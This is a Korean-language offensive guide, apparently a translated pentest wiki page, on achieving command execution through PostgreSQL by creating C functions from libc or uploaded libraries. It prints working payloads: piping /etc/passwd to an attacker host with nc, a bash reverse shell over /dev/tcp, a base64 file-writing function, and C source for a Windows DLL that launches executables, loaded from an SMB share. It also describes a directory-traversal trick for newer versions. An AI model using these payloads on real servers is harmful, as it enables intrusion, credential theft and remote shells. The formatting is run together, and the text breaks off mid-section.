PostgreSQL 8.1 및 이전 버전에서 시스템 명령을 실행하는 것은 명확하게 문서화되어 있으며 간단한 프로세스입니다. 이를 사용하여: Metasploit 모듈 사용할 수 있습니다.
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECTsystem('cat /etc/passwd | nc <attacker IP> <attacker port>');# You can also create functions toopenand write filesCREATE OR REPLACEFUNCTIONopen(cstring, int, int) RETURNSintAS'/lib/libc.so.6', 'open'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONwrite(int, cstring, int) RETURNSintAS'/lib/libc.so.6', 'write'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONclose(int) RETURNSintAS'/lib/libc.so.6', 'close'LANGUAGE'C' STRICT;
Write binary file from base64
Postgres에서 이진 파일을 작성하려면 base64를 사용해야 할 수 있습니다. 이는 다음과 같은 경우에 유용합니다:
CREATE OR REPLACEFUNCTIONwrite_to_file(fileTEXT, s TEXT) RETURNSintAS$$DECLAREfh int;s int;w bytea;i int;BEGINSELECTopen(textout(file)::cstring, 522, 448) INTO fh;IF fh <=2THENRETURN1;ENDIF;SELECT decode(s, 'base64') INTO w;i :=0;LOOPEXIT WHEN i >= octet_length(w);SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;IF rs <0THENRETURN2;ENDIF;i := i +1;ENDLOOP;SELECTclose(fh) INTO rs;RETURN0;END;$$ LANGUAGE'plpgsql';
그러나 더 높은 버전에서 시도했을 때 다음 오류가 표시되었습니다:
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic blockHINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
동적으로 로드된 객체 파일이 호환되지 않는 서버에 로드되지 않도록 하기 위해 PostgreSQL은 파일에 적절한 내용이 포함된 "매직 블록"이 있는지 확인합니다. 이를 통해 서버는 PostgreSQL의 다른 주요 버전용으로 컴파일된 코드와 같은 명백한 호환성 문제를 감지할 수 있습니다. 매직 블록은 PostgreSQL 8.2부터 필요합니다. 매직 블록을 포함하려면, 헤더 fmgr.h를 포함한 후 모듈 소스 파일 중 하나(그리고 단 하나)에 다음을 작성하십시오:
#ifdef PG_MODULE_MAGICPG_MODULE_MAGIC;#endif
PostgreSQL 8.2 버전 이후로 공격자가 시스템을 악용하는 과정이 더 어려워졌습니다. 공격자는 시스템에 이미 존재하는 라이브러리를 사용하거나 사용자 정의 라이브러리를 업로드해야 합니다. 이 사용자 정의 라이브러리는 호환 가능한 주요 버전의 PostgreSQL에 대해 컴파일되어야 하며 특정 "매직 블록"을 포함해야 합니다. 이 조치는 PostgreSQL 시스템을 악용하는 난이도를 크게 증가시키며, 시스템의 아키텍처와 버전 호환성에 대한 더 깊은 이해가 필요합니다.
라이브러리 컴파일
다음 명령어로 PostgreSQL 버전을 가져옵니다:
SELECTversion();PostgreSQL 9.6.3on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.020170516, 64-bit
호환성을 위해 주요 버전이 일치하는 것이 필수적입니다. 따라서 9.6.x 시리즈 내의 어떤 버전으로 라이브러리를 컴파일하더라도 성공적인 통합을 보장해야 합니다.
CREATEFUNCTIONsys(cstring) RETURNSintAS'/tmp/pg_exec.so','pg_exec'LANGUAGECSTRICT;SELECTsys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');#Notice the double single quotes are needed to scape the qoutes
다음 라이브러리는 여러 다른 PostgreSQL 버전으로 미리 컴파일된 것을 찾을 수 있으며, 이 프로세스를 자동화할 수 있습니다 (PostgreSQL 접근 권한이 있는 경우):
Windows에서 RCE
다음 DLL은 이진 파일의 이름과 실행할 횟수를 입력으로 받아 실행합니다:
#include"postgres.h"#include<string.h>#include"fmgr.h"#include"utils/geo_decls.h"#include<stdio.h>#include"utils/builtins.h"#ifdefPG_MODULE_MAGICPG_MODULE_MAGIC;#endif/* Add a prototype marked PGDLLEXPORT */PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);PG_FUNCTION_INFO_V1(pgsql_exec);/* this function launches the executable passed in as the first parameterin a FOR loop bound by the second parameter that is also passed*/Datumpgsql_exec(PG_FUNCTION_ARGS){/* convert text pointer to C string */#defineGET_STR(textp) DatumGetCString(DirectFunctionCall1(textout,PointerGetDatum(textp)))/* retrieve the second argument that is passed to the function (an integer)that will serve as our counter limit*/int instances =PG_GETARG_INT32(1);for (int c =0; c < instances; c++) {/*launch the process passed in the first parameter*/ShellExecute(NULL,"open", GET_STR(PG_GETARG_TEXT_P(0)),NULL,NULL,1);}PG_RETURN_VOID();}
이 DLL에 실행할 바이너리와 실행할 횟수를 지정할 수 있습니다. 이 예제에서는 calc.exe를 2번 실행합니다:
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECTremote_exec('calc.exe',2);DROPFUNCTIONremote_exec(text,integer);
이 경우 악성 코드가 DllMain 함수 안에 있다는 점에 유의하십시오. 이는 이 경우 postgresql에서 로드된 함수를 실행할 필요가 없으며, 단지 DLL을 로드하는 것만으로 리버스 셸이 실행된다는 것을 의미합니다:
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
The PolyUDF project는 전체 MS Visual Studio 프로젝트와 사용 준비가 된 라이브러리(포함: command eval, exec 및 cleanup)가 있는 좋은 출발점입니다. 이 라이브러리는 다중 버전 지원을 제공합니다.
최신 PostgreSQL 버전에서의 RCE
최신 버전의 PostgreSQL에서는 superuser가 특정 디렉토리(예: Windows의 C:\Program Files\PostgreSQL\11\lib 또는 *nix 시스템의 /var/lib/postgresql/11/lib)를 제외한 공유 라이브러리 파일을 로드하는 것이 금지되었습니다. 이러한 디렉토리는 NETWORK_SERVICE 또는 postgres 계정에 의해 쓰기 작업이 보호됩니다.
이러한 제한에도 불구하고 인증된 데이터베이스 superuser는 "대용량 객체"를 사용하여 파일 시스템에 바이너리 파일을 쓸 수 있습니다. 이 기능은 데이터베이스 작업(예: 테이블 업데이트 또는 생성)에 필수적인 C:\Program Files\PostgreSQL\11\data 디렉토리 내에서의 쓰기로 확장됩니다.
중요한 취약점은 CREATE FUNCTION 명령에서 발생하며, 이는 데이터 디렉토리로의 디렉토리 탐색을 허용합니다. 따라서 인증된 공격자는 이 탐색을 악용하여 데이터 디렉토리에 공유 라이브러리 파일을 쓰고 이를 로드할 수 있습니다. 이 악용은 공격자가 임의의 코드를 실행할 수 있게 하여 시스템에서 네이티브 코드 실행을 달성하게 합니다.
공격 흐름
먼저 대용량 객체를 사용하여 dll을 업로드해야 합니다. 이를 수행하는 방법은 여기에서 확인할 수 있습니다: